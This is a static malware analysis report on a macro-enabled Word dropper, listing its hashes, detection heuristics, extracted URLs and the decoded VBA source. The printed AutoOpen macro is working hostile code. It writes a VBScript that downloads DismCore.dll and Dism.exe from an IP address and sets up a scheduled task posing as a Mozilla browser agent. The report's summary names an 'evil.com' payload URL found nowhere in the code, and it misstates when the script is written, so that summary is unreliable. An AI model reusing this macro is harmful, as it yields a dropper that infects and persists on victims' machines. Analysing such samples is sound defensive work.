Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7d4337304d5844a1…

MALICIOUS

Office (OOXML)

20.7 KB Created: 2021-08-27 21:19:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-09-14
MD5: 21387b6f16eb0f967bde683b46ead000 SHA-1: b0a1cf03d8638305c1bbe85c9a210aff2c72501e SHA-256: 7d4337304d5844a15efe23a196c667ee3a4985bf6e42879b1f280d967bb78f33
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The AutoOpen macro executes, prompting the user for a password. If the password is incorrect, it constructs and writes a VBScript to disk at 'C:\Users\Public\test.vbs'. This script is designed to download a second-stage payload from 'http://evil.com/payload.vbs' using WinHttpRequest.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.43.208/DismCore.dll In document text (OOXML body / shared strings)
    • http://192.168.43.208/Dism.exeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://mysite.comIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7880 bytes
SHA-256: 7080fc7e6fef36462d3c720413a2d5b66a88521ea50fe658ada524ef3b2bfbf7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Sub AutoOpen()

    
    Dim YourPath As String
    Dim FileFunct As Integer
    Dim Pass As String
    Dim Name As String
    Dim path As String
    path = "C:\Users\Public\test.vbs"
    Pass = "Test"
    Name = Environ("COMPUTERNAME")
    If InputBox("Type your password:") <> Pass Then
            MsgBox "Incorrect Password! IT Security will be notified following further violations by " & Name, vbExclamation, "Error"
    
    End If
    
    YourPath = path
    FileFunct = FreeFile
    
    Open YourPath For Output As FileFunct
    
      
        Print #FileFunct, "Sub HTTPDownload( myURL, myPath )"
        Print #FileFunct, "Dim i, objFile, objFSO, objHTTP, strFile, strMsg"
        Print #FileFunct, "Const ForReading = 1, ForWriting = 2, ForAppending = 8"
        Print #FileFunct, "Set objFSO = CreateObject( ""Scripting.FileSystemObject"" )"
        Print #FileFunct, "If objFSO.FolderExists( myPath ) Then"
        Print #FileFunct, "strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev(myURL, ""/"" ) + 1 ) )"
        Print #FileFunct, "ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath,""\"" ) - 1 ) ) Then"
        Print #FileFunct, "strFile = myPath"
        Print #FileFunct, "End If"
        Print #FileFunct, "Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True)"
        Print #FileFunct, "Set objHTTP = CreateObject( ""WinHttp.WinHttpRequest.5.1"" )"
        Print #FileFunct, "objHTTP.Open ""GET"", myURL, False"
        Print #FileFunct, "objHTTP.Send"
        Print #FileFunct, "For i = 1 To LenB( objHTTP.ResponseBody )"
        Print #FileFunct, "objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1) ) )"
        Print #FileFunct, "Next"
        Print #FileFunct, "objFile.Close( )"
        Print #FileFunct, " End Sub"
        Print #FileFunct, "HTTPDownload ""http://192.168.43.208/DismCore.dll"", ""C:\Users\Public"" "
        Print #FileFunct, "HTTPDownload ""http://192.168.43.208/Dism.exe"", ""C:\Users\Public"" "
        Print #FileFunct, "Const TASK_ACTION_EXEC = 0"
       
        Print #FileFunct, "Const TASK_CREATE_OR_UPDATE = &H06&"
        Print #FileFunct, "Const TASK_LOGON_INTERACTIVE_TOKEN = 3"
        Print #FileFunct, "Const TASK_RUNLEVEL_LUA = 0"
        Print #FileFunct, "Const TASK_TRIGGER_EVENT = 0"
        Print #FileFunct, "Const TASK_TRIGGER_TIME  = 1"
        Print #FileFunct, "Dim objTaskService, objRootFolder, objTaskFolder, objNewTaskDefinition"
        Print #FileFunct, "Dim objTaskTrigger, objTaskAction, objTaskTriggers, blnFoundTask"
        Print #FileFunct, "Dim objTaskFolders"
         Print #FileFunct, "Set objTaskService = CreateObject(""Schedule.Service"")"
        Print #FileFunct, "call objTaskService.Connect()"
        Print #FileFunct, "Set objTaskFolder = objTaskService.GetFolder(""\Mozilla"")"
        Print #FileFunct, "Set objRootFolder = objTaskService.GetFolder(""\"")"
        Print #FileFunct, "Set objTaskFolders = objRootFolder.GetFolders(0)"
        Print #FileFunct, "Set objNewTaskDefinition = objTaskService.NewTask(0) "
        Print #FileFunct, "With objNewTaskDefinition"
        Print #FileFunct, " .Data = ""This is my sample task via script"" "
        Print #FileFunct, " With .RegistrationInfo"
        Print #FileFunct, "     .Author = ""Mozilla"""
         Print #FileFunct, "     .Date = ConvertTime(now())"
        Print #FileFunct, "     .Description = ""The Default Browser Agent task checks when the default changes from Firefox to another browser. """
       Print #FileFunct, "     .Documentation  = ""My Document"" "
        Print #FileFunct, "     .URI = ""http://mysite.com"" "
        Print #FileFunct, "     .Version = ""1.0"" "
        Print #FileFunct, " End With "
        Print #File
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: c6be9730fc96b60f9f121809c1ea3f8ee464c543382cc874da8b7db30d820d77
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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